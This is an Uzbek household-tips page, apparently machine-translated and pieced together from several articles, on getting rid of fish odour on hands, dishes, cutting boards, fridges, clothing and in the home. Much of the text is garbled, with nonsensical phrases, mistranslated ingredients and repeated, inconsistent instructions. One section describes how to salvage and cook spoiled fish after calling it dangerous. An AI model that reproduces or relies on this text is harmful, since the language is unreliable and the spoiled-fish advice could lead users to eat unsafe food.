Baliq hidini yo'qotishdan. Uy-ro'zg'or buyumlari, qo'llar va to'qimachilik mahsulotlari ta'sir qilish variantlari. Xushbo'y pasturrini tayyorlang

Bosh sahifa / Xushbo'y

Baliq sog'lom va sog'lom mahsulotdir. Afsuski, u yoqimsiz xususiyatga ega - ovqat pishirgandan keyin uzoq vaqt davomida oshxonada qolishi mumkin bo'lgan o'tkir xarakterli hid. Bundan tashqari, baliq tark qilishi mumkin yo'q yoqimli hid  sovutgichda, chiqib ketish panosida, idishlar, qo'llar. Shuning uchun, baliqning hididan qanday qutulish kerakligi masalasi har bir usta uchun tegishli. Biroq, bir necha bor oddiy yo'llar, olib tashlash va oldini olish imkonini beradi baliq hidi.

Baliqdan hid chiqaring

2 litrdan oshqozon miqdorida baliqni tayyorlash va sirka qo'shilishi bilan 2 soat davomida suvga qo'yish kerak. 1 litr suv uchun. Bundan tashqari, iflos hidning tuzdan qutilishiga yordam beradi, bu esa baliqqa o'ralgan va 15 daqiqaga qoldirilgan bo'lishi kerak. 1 kg baliq uchun 1-2 osh qoshiq kerak bo'ladi. tuz. Shundan so'ng uni retsept bo'yicha yuvish va pishirish kerak. Agar siz baliq tayyorlasangiz, unda yangi sutni suvga quying. Bu nafaqat yoqimsiz hidni yo'q qilmaydi, balki baliq suvi va noziklikni ham beradi.

Biz oshxona idishidan baliq hidini chiqaramiz

Ko'pchilik uy bekalari baliq pishirish anjomlari hidini olib tashlash uchun qanday bilmayman, va hali bir necha yo'llar bilan amalga oshirilishi mumkin. Idishlardan baliq hidini olib tashlash uchun uni sirkali suv bilan yuvishingiz mumkin. Baliqlarni tozalashda püskürtülürse, xuddi shu echim hidli tayoqchalar va devorlardan silinmelidir. Idishdagi baliq hidi bilan quruq xantal yaxshi ishlaydi. Uni vilkalar va plitalar bilan tozalash kerak, keyin odatdagidek ularni yuvish kerak. Vilkalar ship, baliqsimon hid tovoqlar o'simlik yog'i namlangan sovun va latta bilan yuviladi mumkin. Shundan so'ng, idishlarni limon po'stlog'i bilan tozalab, hid qoldirish kerak.

Agar oshxona idishlarini hali ham baliq hidini yuvib bo'lgach, uni namli choyga quyiladi va 1 soat davomida idishlarni qoldirib qopqog'i mahkam yopiq bo'lishi kerak, shundan keyin hidning izi bo'lmaydi. Agar baliq hidi sovutgichlarda joylashgan bo'lsa, u holda mahsulotni qadoqlash bilan bartaraf etish mumkin faol uglerod, o'rta qavatda 2 kun qolishi kerak. Qora nonning bir necha bo'lagi bu vazifani yaxshi bajaradi, agar ular sovutgichning turli javonlariga joylashtirilsa.

Biz baliq hidi qo'lidan qutulamiz

Baliq hidi oddiygina limonli suvi yoki ayçiçek yog'i bilan silinmeli, undan keyin suv bilan yuvilishi kerak. Bundan tashqari, 20-30 soniya davomida kerevit tushirilishi kerak zaif sirka eritmasi ham foydalanishingiz mumkin. Bundan tashqari, qo'lingizni barg barglari yoki mayizoz bilan tozalang.

Baliq hidini kiyimdan qutqaramiz

Baliq hidini kiyimdan qanday qilib olib tashlashni bilmaymanmi? Lekin uni olib tashlash mumkin, u limon hidi bilan changda yuvilgan. Agar kiyimlarni saraton kasalliklari bilan yuvib bersangiz, unda suvga bir necha tomchi sirka yoki limon bilan ovqat yuvish vositalarini qo'shib qo'yish kerak va hidni unutish mumkin.

Baliq - mazali, sog'lom, to'yimli mahsulot, har qanday stol bezagi. Bir ahvolga tushib qolmaslik xom shaklda va tayyorgarlik bosqichida yoqimsiz o'ziga xos aromadir. Shuning uchun ham, ko'p uy bekalari baliq hidi olib tashlash yo'llarini bilmayman, uy menyusida baliq mahsulotlarini voz yoki cheklash uchun majburiy bo'lgan.

Baliqchilik kunlarining oqibatlari

Ovqat pishirish baliqlari xonada faqatgina "baliq ruhi" emas:

  1. Sovutgichlarda sovutgichda bo'lgan boshqa mahsulotlar bilan birga ular bu hid bilan namlanadi;
  2. Ovqatlanish bilan shug'ullanadigan barcha narsalar ehtiyotkorlik bilan ishlashni talab qiladi;
  3. Oshxona sochiqlari, baliq bilan bevosita aloqada bo'lmasa ham (masalan, yuvilgan qo'llarini artib), hatto yuvilganidan so'ng, dengiz mahsulotlari xotiralarini saqlab qolishi mumkin;
  4. Ba'zilar uchun bu muammoni ham juda yoqimli ta'mga ega quloq.

Baliq hidining tarqalishini oldini olish va chiqarib tashlash bo'lmaydi. Shuning uchun, pishirishdan so'ng darhol harakat qilishingiz kerak. Har bir xostingning arsenalida ko'p samarali vositalar, shuning uchun siz biror narsani ixtiro qilishingiz shart emas, ularni mohirlik bilan ishlatish kifoya.

Pishirish vaqtida baliq hididan qutulish

Birinchidan, baliq mahsulotlari bilan aralashmalarni ta'siridan qochishga harakat qiling. Agar siz qovurmoqchi bo'lsangiz, qizdirilgan kartoshka yoki piyozni qizdirilgan o'simlik yog'iga kiriting. Sabzavot o'rniga ozgina limon sharbasini siqib olishingiz mumkin.

Suvda baliq hididan qutulish uchun suvga qo'shilgan sutga yordam beradi.

Daryo balig'idan tayyorlanadigan idishda butun lampochkani va sabzi olib tashlang. Maydanoz, selderey ham quloqning ta'mini yaxshilashda muammoni qisman hal qiladi.

Qo'llardagi baliq hidini qanday olib tashlash mumkin

Qo'llardagi baliq hidlari uzoq vaqtdan beri davom etishi mumkin va pishiruvchiga katta noqulaylik tug'dirishi mumkin. Shuning uchun siz biror narsa qilishingiz kerak. Lekin usul nafaqat samarali bo'lishi, balki terini saqlab qolishi kerak, bu erda har qanday narxda hidni yo'q qilish istagi ishlamaydi.

Agar limonli idishga xizmat qilsangiz, qo'lingizni artib olish uchun o'zingiz uchun taglik qoldiring. Qurib ketgunga qadar kuting va suv bilan yuving. Bu sitrusning sharbatini qovurishdan oldin 15-20 daqiqa davomida baliqlarga purkash mumkin, keyin pishirish jarayoni faqat oshxonada seziladi.

Piyoz ham neytrallash vositasi sifatida ham mos keladi, ammo qo'lingizni sovun bilan yuvganingizdan keyin ham o'ziga xos hid almashtiriladi.

Har bir xonada sirka mavjud - samarali va ozgina noxush vositadir. 1 litr suvda bir osh qoshiqni echib oling va qo'lingizni yuving. Xuddi shu echim bilan sovutgichni saqlang.

Bir vaqtning o'zida teri ustida oziqlantiradigan boshqa yordamchi mahsulot - bu sof shaklda ayçiçek yog'i.

Tuxumlangan baliq hidini yo'qotish uchun qo'lingizni issiq suv bilan yuvishga shoshilmang - bu vaziyatni yanada kuchaytiradi. Qayta sinovdan o'tgan usul - barmoqlarni har qanday nav va soyaning pivosiga surish. Keyin sovun va sovuq suvdan foydalaning.

Birinchi yordamchi - turli hidlarni emadigan tuzdir. Qovurilgan idishni qog'oz sochiq bilan o'chiring, qovurilgan yog'ning qoldiqlarini olib tashlang, yuving va quriting. Keyin, tuzni, issiqlikni to'kib tashlang, to'liq sovutguncha pechda qoldiring. Aromalar qoldiqlari yo'qoladi.


Tajribali xolachilar samarali usullardan biri sifatida odatiga va xantalga ega. Bu quruq shaklda yaxshiroq, lekin buning istagi uchun tayyor ovqat uchun javob beradi. Xantalni tayyorlang, ziravorni iliq suvda eritib, ishlatiladigan idishlarni qayta ishlang.

Ammo, bularning hammasi ichki makkorlar emas, har bir styuardessa muammoli hidlarni engishga yordam beradigan bir nechta texnikaga ega:

  • idishlarni piyoz yoki xom kartoshka bilan tozalang;
  • oshxona shimgichi o'simlik yog 'bilan namlanadi va baliq hidli sirt bilan tozalanadi;
  • pivo ham ishlov beriladigan idishlar, ayniqsa ichimlik osongina yuvilishi va bu juda qulay.

Kvartirada baliq hidi qanday qutulish kerak

Oddiy shamollatish xonani istalgan natijaga olib kelmasa, bir necha manipulatsiyani bajaring.

  1. Bir tsitrus ichida har qanday sitrusli yong'oqni oldindan qizdirish yoki boshqa issiqlik manbaiga yaqinlashtiring.
  2. Agar sirka va limon qo'shilishi bilan suv qaynatilsa, hidlar g'oyib bo'ladi yoki kamroq bo'ladi.
  3. Ba'zi qahva nonlarini qovur - bu lazzat barcha boshqalardan oshib ketadi.

Sochiqlar, kiyim-kechaklar, oldaklar ham qayta ko'rib chiqilishi kerak, chunki mato juda tez yutib yuboradi va ularni qattiq qotib turadi. Sirka bilan 2-3 soat davomida suvga pishirib, keyin yuving va odatdagi tarzda yuving.

Jang qilish uchun barcha tadbirlar tugaganidan keyin baliq hidi  tuzni qo'shganda qo'lingizni yana sovuq suvda yuving (yana limondan foydalaning) va ularni yuving.

Siz o'zingizni baliq idishlari tayyorlashdan bosh tortmasligingiz kerak. Va hiddan, har doim kundalik foydalanishda bo'lgan uy vositalaridan qutulish yoki uni hech bo'lmaganda neytralizatsiya qilish mumkin.

Video: baliq hidi qanday chiqariladi?

Baliq mahsulotlari, albatta, bizning organizmimizga foyda keltiradi, chunki ular kaltsiy, omega 3, 6-kislotalar va boshqa muhim mikroelementlarga boy. Shunday qilib, baliqning fileto qismini osongina oshqozon oqsilining ombori bo'lib, u hujayralarni qurishda va yangilanishda ishtirok etadi va dengiz yoki daryo aholisi bizni normal ishlash uchun zarur bo'lgan B guruhi vitaminlari bilan to'liq ta'minlay oladi asab tizimi  va xotira. Ushbu mahsulotning afzalliklari cheksiz deb aytish mumkin, ammo dunyoning ko'pgina egalari yana bir savol tug'dirishmoqda: "Baliq pishirishdan keyin baliq hidini qanday chiqarib tashlash mumkin?", Chunki bu nuance qusadigan refleksga sabab bo'lgan odamlar bor. Biroq, har kim ham, uning yashash joyidan olingan baliqning ma'lum bir o'ziga xos hidiga ega emas, shuning uchun mutlaqo yangi mahsulotni oqimli suv bilan yuvish tabiiy "ferromon" dan xalos bo'lishi mumkin.

Xo'sh, nega bizning yoqimli baliq hidni yoqtirmasin? Aslida karkas yuzasida bakteriyalar organik azotli birikmalar hosil qiladi. Ular uchun noma'qul vosita bo'lgan bu molekulalar intensiv ravishda parchalanib, trimetilamin ishlab chiqaradi. Shundan baliqlarning hidi zich "soyaga" ega bo'ladi. teri ustida organik kino vafot bermaydi bo'lsa, trimetilamin o'z namoyon cho'qqisiga yetdi, va hozir ancha qiyin bo'ladi baliq "ruh" qutulish uchun.

Baliqni «natijalarsiz» qovurib tashlash Bu idish soddaligi va tabiiy tabiati bilan uzoq vaqt davomida eng jirkanch gurmelerning qalbini zabt etdi. Balki hech narsa murakkablasha olmaydi: baliq yuvilgan, qovurilgan, unli pishiriq bilan ishlangan, qovurilgan va ajoyib ta'mga ega. Bunday oshxona ishlarining izlari faqatgina tayyorgarlik jarayoniga qaraganda ancha murakkab va vaqt o'tishi bilan ajralib turadi.

Shuning uchun qovurilgan baliqning hidini qanday olib tashlash haqida savol bering

Barcha uy bekalari va oshpazlar quyidagi maslahatlarni qabul qilishlari kerak: baliq tayyorlashdan oldin kaputni yoqing yoki derazani oching. Qovurilgan baliqlarning hidini butunlay olib tashlash uchun moychani, pechkani va atrofidagi barcha joylarni bir metrdan keladigan pista yog'i tomchilaridan qutqarish kerak. Bunday ish oxirida xonani yana havalandırın va havo spreyi foydalaning.

Baliq hidini kiyimdan qanday olib tashlash mumkin?

Baliq bilan shug'ullanayotganingizda, ayniqsa, uni qovurayotgan bo'lsangiz, oshxonada qo'shimcha kiyim yo'qligiga ishonch hosil qiling. Buning barchasi, chunki o'tkir hid tezda tolaning tarkibiga kirishi mumkin, bundan keyin qutulish juda qiyin bo'ladi. Agar ushbu vaziyat yuzaga kelsa, qisqa vaqt ichida kiyimlar qabul qiladigan maksimal haroratni yuving. Salbiy ta'sirga ega bo'lsa, sirka-suvli eritmada kir yuvish vositalarini yaxshi namlash va keyin yana ishlatish kir yuvish mashinasi. Baliqlarni qovurib bo'lgach, hidni qanday qilib olib tashlashni har doim bilish uchun bu usullarni xotirada yodlang.

Qanday qilib baliq hidini qo'lidan olib tashlash mumkin?

Bir qarashda, bu juda murakkab vazifa, lekin hali ham bor, va hatto bir emas. Ushbu baliqlardan xalos bo'lishga yordam beradigan mahsulotlar, "har qanday uyning oshxona arsenalida". Bular: limon, sirka, limon kislotasi, pivo ichimligi, sitrus efir moyi.

  • Birinchi probirkaga: 5 ml. sirka 500 ml da suyultiriladi. toza suv va qo'llarni yaxshilab yuvib bo'lgandan keyin, bu eritmada palmalarni yuving.
  • Ikkinchi yechim: Vannadan so'ng, sitrus kabuğundan foydalaning va natija kutish uchun uzoq vaqt talab qilinmaydi - baliq hidi yoqimli limon yoki ohak lazzatida eriydi.
  • Uchinchi yechim: Eterning 3-4 tomchi 100 ml da suyultiriladi. Sut bilan suyultiriladi. Ushbu birikma bilan qo'l yuvishdan oldin durulayin. Natijada paydo bo'lgan suyuqlik sovuq bo'lishi kerak, aks holda kerakli natija umidsizlikka olib keladi.
  • To'rtinchi yechim: yengil yoki qorong'i pivo yuvilib yuviladi. Kaftlar Iz yoqimli o'tlar hidi, o'rniga baliq, muayyan «ruh» da bunday vannadan so'ng.

Daryo baliqlarini pishirishdan oldin qanday qilib olib tashlash mumkin?

Oshxona statistikasi shuni ko'rsatadiki, daryodan tutilgan baliqlar dengizdan ko'ra o'ziga xos hidga ega, chunki unda suv bilan to'lib-toshgan balchiq va suv o'tlarining "aks-sadosi" bor. Shuning uchun bunday mahsulot juda arzon va past narx bozorda bir necha kilogramm daryo baliqlarini sotib olish istagini kuchaytiradi.

Tajribali oshpazlar va ba'zi uy bekalari baliq hidini qanday qilib olib tashlashning bir necha usulini biladilar, chunki pishirilgan taomning sifati va uning ta'mi uning qanchalik sezilarli bo'lishiga bog'liq.

Suvdagi ajralgan sut - bu eng samarali usullardan biridir. Uni bajarish uchun siz birinchi va ikkinchi moddadan 200 ml olishingiz kerak. Keyin, baliqni kesib, o'rta bo'laklarga kesilgan va yaxshi tuzlangan, ularni piyoda yotqiz. Baliqni sutli eritma ichiga quyib, 40 daqiqa sovutish. Bu vaqtdan keyin konteynerni chiqarib tashlang, daryo mahsulotining qismini chiqarib oling, idishdagi suyuqlik bilan idishni yuving va quying. Yana 30 daqiqadan so'ng, baliq yana issiqlik bilan davolashga tayyor.

Yana kamida mashhur usul sirka ishlatishni o'z ichiga oladi. Harakatlar baliqlarni yuvish va kesish bilan boshlanadi. Shundan so'ng, mahsulot qismlarga bo'linib, tuzlangan. Olingan qismlar tuzning trimetilaminni so'rib olish uchun sovutgichga chiqariladi. 30 daqiqadan keyin siz baliqni olib, suvli sirka bilan suyultiringiz. Bu nisbat teng bo'lmagan. Shunday qilib, boshiga bir osh qoshiq bir litr suv uchun etarli. Ushbu harakat baliqning barcha begona va tabiiy hidlarini butunlay yo'q qilishga qodir.

Baliq tayyorlashdan oldin ko'p oshpazlar asosiy davolashni amalga oshiradilar. Ushbu operatsiyani bajarish yoqimsiz hidni olib tashlaydi va unda mikroblarning mavjudligi mahsulotidan xalos bo'ladi. Baliqlarni kesish va uni parchalash kerak. Barcha qismlar tuz va suvdan tayyorlangan sho'r suv bilan quyiladi. Ingredientlar birinchi mahsulotning 100 gramm va ikkinchi yarmida 1,5 litr nisbatda olinadi. Uçucular bug'lanib uchun, baliq muzlatgichda yarim soat haqida tuz siropi turish kerak. Shundan so'ng suyuqlik drenajlanadi, baliq yuviladi va qayta ishlanadi.

Sovuq marinatsiya usuli ham missiyani juda yaxshi bajaradi. Quyidagi amallarni bajarish uchun tana go'shtini yuvish va yopishtirish kerak, keyin ularni qismlarga ajratish kerak. Keyinchalik hamma narsa ancha soddadir: natijada olingan bo'laklarga sepib, ilgari shisha idishga joylashtirilgan qora qalampir va ezilgan dafna barglarini seping. Bir soatdan keyin suyuqlik drenajlanadi va baliq hidsizdir.
  Ushbu mahsulotni ishlatish uchun ishlatiladigan usul limon sharbati  - tuz va sirka variantidan ancha samarali. Buning uchun faqat limonga pul sarflash kerak. Baliq hidlamaydi, uning bo'linmasligi bir necha sitrusli sharbat bilan sug'oriladi. Sovutgichga ikki soatlik quvvat beriladi.

Baliqni yoqimsiz hidlardan ajratib olishning eng keng tarqalgan usullari hisobga olingan. yo'l, ovqat yuzasi, pichoq va ketish taxta bilan azot parchalanish izlari yo'q yuqorida usullarini aytib.

Sovutgichdan olingan hidi kabi, bunday taniqli muammolar, hatto styuardessalarning pokligida eng ehtiyotkorlik bilan ham tashvishlanadilar. Agar bu uy jihozlarining uzoq burchagida biror joyda kichik, noaniq oziq-ovqat mahsuloti yotgan bo'lsa, u zararlanadigan bo'lsa, yoqimli hid hatto yangi tayyorlangan idishga ham yoyilishi mumkin. Baliq haqida nima deyish mumkin, agar bunday mahsulotlar alohida mahsulotlar bilan chegaradosh deb hisoblanmasa?


Bozorda baliq sotib olgan ayollar, darhol tayyorlash uchun shoshilmanglar, lekin yaxshiroq vaqtgacha muzlatgichga qo'yinglar. Shu nuqtada, ular bunday mehmondan keyin sovutgichning aurosiga nima bo'lishini tasavvur ham qila olmaydilarmi? Bunday muammo yuzaga kelsa, siz shunday harakatlar qilishingiz mumkin:

  1. Muzlatgichni muzdan tushirish.
  2. Plastmassa idishlarda suvni tuz va soda bir qismi bilan suyultirish va sovutgich bo'shlig'ini ushbu mahsulot bilan yuvib, alohida burchaklar va muzlatgichlarga e'tibor bering.
  3. Uchinchi bosqichda sovutgichni detarjan yoki tozalash vositasi bilan nam tozalash usuli bilan qayta ishlash kerak.
  4. Sovun qoldig'ini barcha bo'laklarning yuzasidan olib tashlang va ularni qayta yuving.
  5. Yuqoridagi qadamlardan keyin sovutgichni arting va bir necha soat davomida havalandırın.

Baliq hidini yo'qotishning bu usuli biroz muammo bo'lishi mumkin. Lekin bunga arziydi. Har bir narsani to'g'ri va astoydil bajarib, muzlatgichda dengiz mahsulotlari yaqinda mavjudligini unutasiz.

Baliqdan o'rdak hidini qanday olib tashlash mumkin?

Ko'pchilik bunday vaziyatga duch kelishgan bo'lishi mumkin: baliq sotib olib, uyga olib borib, u erda boshqa begona o'rgimchak o'rdak mavjud. Baliq ikkita sababga ko'ra buziladi - yoki kerakli vaqtdan ko'proq taymerda qoladi yoki u noto'g'ri saqlanadi. Albatta, bunday mahsulot nafaqat foydalanishga kerak, balki xavfli. Ammo baribir buzilgan baliqni tashlab yuborish juda achinarli bo'lsa, u "zararsizlantirilishi mumkin".

  1. Baliqlarni tuzli suv bilan chayqatib, sovuq suvda yuvib tashlang.
  2. Agar mahsulot hali yopishqoq kinolarga ega bo'lsa, uni suv bilan bartaraf qiling.
  3. Gut va tana go'shtini kichik qismlarga aylantiring.
  4. Keyingi qadam 1-2 daqiqa davomida qaynayotgan suvda baliq bo'laklarini joylashtirishdir.
  5. Ushbu harakatlardan so'ng, mahsulot sirka yoki qovurg'adagi mayinlashtiriladi.

Shunga qaramay, agar dengiz mahsulotlari buzilgan bo'lsa va axlat qutisiga yuborilsa, yoqimsiz hid izlarini qoldirib, hidni qanday olib tashlash mumkin chirigan baliq, hamma ham bilmaydi. Aslida, iblis xuddi bo'yalgani kabi dahshatli emas. Chuqur baliq hidini retseptlar yordamida har qanday sirtdan zararsizlantirish mumkin:

  • Erigan sovunli chiplari bor suv - kamroq samarali usul, lekin u joy bo'lishi kerak.
  • Ammiak yoki oddiy alkogolni qo'shgan suv - "hidlash" buyumlarini davolashdan keyin ularga o'ziga xos hidni beradi.
  • Sirka bilan eritma kundalik hayotda eng ko'p ishlatiladigan usullardan biridir. nafaqat baliqni, balki boshqa hidlar ham saqlaydi.
  • Eritilgan suv limon kislotasi  Chiqib ketgan baliqlarning yashash joylarini qayta ishlagandan so'ng, u ham samarali muammo bilan kurashadi.
  • Oshxonada universal "askar" sifatida sodali suv - "chirigan" muammolarni engishga yordam beradi.

Pishganidan keyin kvartirada baliq hidini qanday olib tashlash mumkin?

Baliqni qovurishdan keyin yoqimsiz hidga ishtahani buzmagani uchun pishirish vaqtida derazani ochib, tabiiy havo almashuvi bilan jihozlangan xonani ta'minlash kerak. Ushbu operatsiyani bajarish kiyinish va boshqa to'qimachilik buyumlarining hidini paydo bo'lishiga to'sqinlik qiladi. Agar qo'shimcha ravishda tabiiy bo'lsa, siz sun'iy shamollatishni o'z ichiga olgan holda, ortiqcha bo'lmasligi kerak.

Shunga qaramay, agar baliq pishirish izlari qolgan bo'lsa, qahva loviya yoki limon tolasi ularni engish uchun yordam beradi. Ovqatni dasturxonga qo'ying, ular asta-sekin ortiqcha hidni so'raydilar. Suv bilan aralashtirilgan qaynoq asatik kislota ham yordam beradi. Siz pomidor va bodringni to'sib qo'yish jarayonida ishlatiladigan oddiy tuzlash mumkin. Ushbu usulning ta'siri sirka pishirishni ziravorlar va uning bug'lari xonaning atmosferasiga tushirish, uchuvchi, hidli moddalarni o'ldirish orqali erishiladi.

Baliqlarning barcha ko'rinishlarida baliq, shubhasiz, sevimli mahsulotdir, lekin ko'pchilik uning hidiga, ayniqsa buzilgan bo'lsa, toqat qilmaydi. Kelajakda muammo bilan kurashmaslik uchun hozirgi sharoitda uni oldini olish kerak. Shuning uchun, baliqni uyga keltirmasdan oldin, uning maxsus hidining ko'rinishi, idish-tovoq, kiyim-kechak, kvartirada va muzlatgichda ko'rinishini oldini olish. Bugungi kunga kelib, har qanday hidlarning adsorbsiyasi uchun planshetlar yoki chang ko'rinishida maxsus sorbentlarni ishlatish yangilik emas. Ularning arizalari keng tarqalgan va kam samarali. Har bir oshxona tarkibida tabiiy hidni yutish mumkin. Bu: allaqachon qahva loviya va limon tolasi, guruch, qaynatilgan kartoshka va yarim ichida olma kesilgan haqida gapirdi. Ro'yxatdagi mahsulotlar konditsionerlardagi va muzlatgichdagi havoni kimyoviy analoglarga sarflash orqali tozalashi mumkin.

Baliq hidi

Baliq hidijuda aniq. Ko'p yoki kamroq aytilgan bo'lishi mumkin, lekin u xom va qovurilgan har qanday baliqda topiladi. Bunday jarayon hidni yo'q qilish, ba'zi sirlarni bilishni talab qiladi.

Ko'pchilik baliq, qovurilgan, quritilgan, sigaretgan, quloqni pishirgan, pivo uchun sotib olgan. Bu foydali, to'yimli, u yog'li kislotalar va vitaminlar ko'p. Biroq, afsuski, baliq hidi  Bu juda chidamli va uni pichoqlar, stollar yoki idishlardan olib tashlash juda qiyin bo'lishi mumkin. Va uzoq pishirish jarayoni bo'lsa, keyin hech qator qalpoq, bu "hid" va namlangan stol Ro'mol va pardalar qutqara olmaydi. Variantlarni ko'rib chiqaylik baliq hidini qanday olib tashlash mumkinturli vaziyatlarda.

Kvartiradagi yoqimsiz hid

Baliq hidini olib tashlang oshxonada tuz, limon, limon qobig'i yoki to'q sariq, sirka yordam beradi. Tuz ham o'z-o'zidan har qanday hidni tortadi. Agar qovurilgan idishda qizdirilsa va pechda bir muddat (sovutishdan oldin) qolgan bo'lsa, u "hid" ning bir qismini o'ziga oladi. Keyinchalik, limon qobig'i yoki to'q sariq rangidan foydalanishingiz mumkin kvartirada baliq hidi. Buning uchun qobig'i ham isitilishi kerak. Buni faqat burnerda qilishingiz mumkin, yoki siz kichkina qovurilgan kostryulkalardan foydalanishingiz mumkin. Qanday tuzatish kerak sho'rlangan baliqning hidi, agar hech qanday lazzat yo'q bo'lsa? Sirka yoki limon sharbati bilan kichik idishdagi suvni qaynatish kerak, keyin oshxonani ventilyatsiya qilish kerak.

Lekin eng yaxshisi baliqning yoqimsiz hidi  qahvani olib tashlaydi. Engil qizarib pishgan qahva qurtlari aromati sizning uyingizni to'ldiradi va darhol ma'lum baliq muammosini unutib qo'yadi.

Yog'och, ezilgan va kichkinagina idishda o'rnatiladi, klozet, hidni emiradi. Bufetdagi yoqimsiz hidni olib tashlash, uni qo'yish va bir oz ko'mir yoki piyoz pishiriladi.

Qovurilgan baliq

Qovurilgan baliqning hidi juda kuchli va bir zumda butun kosmikni to'ldirib, kiyim-kechak, terini va atrofidagi narsalarni yaxshilab to'ldiradi. Yo'q qilish uchun kuchli hid  o'simlik yog'idagi baliqni qovurayotganda, bitta kartoshkani, qoldiqni va kesilganlarni qo'ying.

U erda to'g'ri yo'l, qanday qilib hidni baliqsiz tayyorlash kerak:

  • baliqlarni chopib tashlang
  • tuz va ziravorlar qo'shing
  • agar yirtqichlardan muzlatgichda pivo 0,5 litr (kim!) baliq, bo'laklarga kesib) quyinglar, va.
  • 20 daqiqada pivo uchun baliqlarga barham berish uchun etarlicha (siz va butun kun, bu yomon bo'lmaydi).
  • bir vaqtning o'zida baliq bo'laklarini qovurishdan oldin (shisha pivoga)
  • va siz qovurasiz!

Sovutgich

Muzlatgichda baliq saqlab qolish, aks holda, barcha mahsulotlar o'ziga xos hidi namlangan, mahkam uni to'plami uchun ishonch hosil qiling.

Yaxshi yo'q qiladi sovutgichdagi baliq hidi  xantal. Quruqdan foydalanganda yaxshiroqdir, lekin buning uchun tayyorlab ziravor qilish kerak. Muzlatgich xantal eritmasi bilan yuviladi

Idishlar

A baliq hidini qanday yuvish kerak  ishlatilgan idishlardanmi? Pichoq va pichoqlar baliq singari hidlamaydi, agar ularni yuvishdan oldin har qanday yog' yoki limon qobig'i bilan yuvib tashlasangiz. Pichoqni süzgandan, piyozdan yoki sarimsoqdan keyin yuvishdan oldin, uni yonib turgan shisha idishda saqlang yoki sabzi, xom-kartoshka, o'simlik yog'i, sirka bilan tozalang, keyin sovuq suv va sovun bilan yuving. Qo'llardagi baliq hidi  Yo'lni yuvishdan avval qo'llaringizni tuz bilan tozalang - hid yo'qoladi.

Qanday qilib bir chiqib ketish taxtasida hidlardan xalos bo'lish

Baliqlarni kesishdan oldin, siz tushunishingiz kerak hidning baliqlarini qanday qutqarish kerak?

Sarimsoqni yoki piyozni kesib tashlash, 9% sirka bilan kesish taxtasini namlash yoki limon limonini tozalash kerak.

Pichoq taxtasi baliq hidi bilan to'yingan bo'lsa, taxta suvi yoki limon sharbati bilan suyultiriladi 1: 1 suyultirilgan sirka sep.

Sarimsoqning hidi, qovurilgan  yoki agar baliqni issiq sho'r suv bilan (litr suviga 4 osh qoshiq tuz) yoki suyultirilgan sirka bilan iliq suv bilan yuvib tashlasangiz (2 litr suv uchun 2 osh qoshiq sirka), agar baliqni olib tashlash mumkin.

plitalari kesish xom go'sht yoqimsiz lazzati kelganda, yarim soat uchun taxta shag'al o'tin, alanga issiq suvda ivitish (100 g. litr). Siz ko'mir o'rniga tuproq qahvani ishlatishingiz mumkin. Yanada yaxshilab suyuq atir idishlarni yuvish bilan oqar suv ostida planshet yuvish.

Sizning kesish plitalar oziq-ovqat sinf plastikdan yasalgan bo'lsa, keyin tartibda, yoqimsiz hid qutilish uchun yopish soda bilan suv sirtini yuvish, yoki sirka namlangan mato bilan artib, yuvib.

, Yog'och kesish kengashlari, chiriyotgan hidi xalos faol uning kofe asos artib va ​​bir necha daqiqa davomida shunday qoldirish uchun. Keyin, quyida aytib o'tilganidek, oshxona asbobini issiq suv ostida yuvib tashlang.

shifer kukuni, quruq xantal arting yoki choy uxlab, shuning ringa lazzat xalos. Bundan tashqari, bu yangi sutning "hidini" yaxshi neytrallashtiradi. Faqat sutda namlangan shimgichni kesib oling.

tanlash kesish kengashlari bilan birga, kam moyil plastik va shisha idish-tovoq, yog'och ortiq turli lazzatlari shimib ekanligini ko'rib. boshqa narsalar orasida, bir to'lqinli yuzasi bilan Plitalar legallashtirishga yanada qiyin ekanligini biz ham yodda tutishimiz lozim, va shunday e'tibor muammolar ko'proq bo'ladi.

turli oziq-ovqat guruhlari uchun va darhol dasturxon uchun maxsus vositalarini qo'shilishi bilan issiq suv bilan yuvib tashlang butunlay pishirish keyin kamida uch yoki to'rt kengashlari foydalanish. minimal ko'ra oshxona Buyumning ehtiyotkorlik bilan barqaror hidlari yuzaga ehtimoli.

Pechdagi baliq hidimi?

Buni hamma biladi baliq hidi olib tashlang  pichoq yoki limon yoki lazzat bir tilim bilan ularni ishqalab tomonidan barmoqlari mumkin. Va limon ham aytadi baliq hidini qanday qaytarish mumkin  pech: yarmiga suv yirtqichlardan, limon tilim tushiring va 15 daqiqa davomida avvalgi tandirdan hali issiq qo'yish.

Kiyim

Bilmayman qanday qilib kiyimdagi baliq hididan qutulish kerak? Va bu erda yechim bor. Baliq hidini yuvish  darhol mumkin emas. Birinchidan, narsangizni odatdagi tarzda yuving. yoqimsiz hid hali qolgan bo'lsa, keyin qo'liga vositalarini ishlatish boshlash. Suvdagi suyuqlikni suyultirish va yuvish vaqtida limon sharbati qo'shing. Mahsulotingizni qo'l bilan yuving. Limon aromati so'rilishi kerak baliqning yoqimsiz hidi. Zarur bo'lganda, mahsulotingizni konditsionerni qo'shib mashinaga yuvib tashlang.

Xo'sh, u limon hidi bilan baliq oddiy idish-tovoq yuvish yuvish vositasi hidini olib tashlanadi. Qo'lingizni idish yuvish vositasi bilan yuving. Bu kir yuvish mashinasida kiritish shart emas, har qanday holatda ham siz idish yuvish, degan ma'noni anglatadi. Bu juda ko'pikni hosil qiladi, bu esa uskunalarning buzilishiga olib kelishi mumkin.

Mahsulotingizni oddiy kukun yordamida qo'llaringizga yuvib tashlang. Choyish jarayonida 1 osh qoshiq sirka qo'shing. U betaraf qolmoqda yoqimsiz hidlar. Agar ta'riflardan hech biri sizga yordam bermagan bo'lsa, quruq tozalashga o'ting. Professional uskunalar  matolarni parvarish qilish oson kechadi, bu muammoni engishadi.

Mato

Stullar, sochiqlar, kiyimlar osongina so'riladi baliq hidi. Baliq hidini qanday yo'q qilish kerakto'qima bilan undan qutilish siz birdaniga kiyimga ularni yuborish, ayniqsa, agar, qiyin. Yana sirka foydali. 2 osh qoshiq miqdorida ozgina iliq suvga qo'shilishi kerak. suv 5 litr uchun sirka, yoqimsiz hid ega ob'ektni ho'llash, va ba'zi vaqt o'tib bir an'anaviy tarzda yuvish.

Baliqlardan yoqimsiz hid

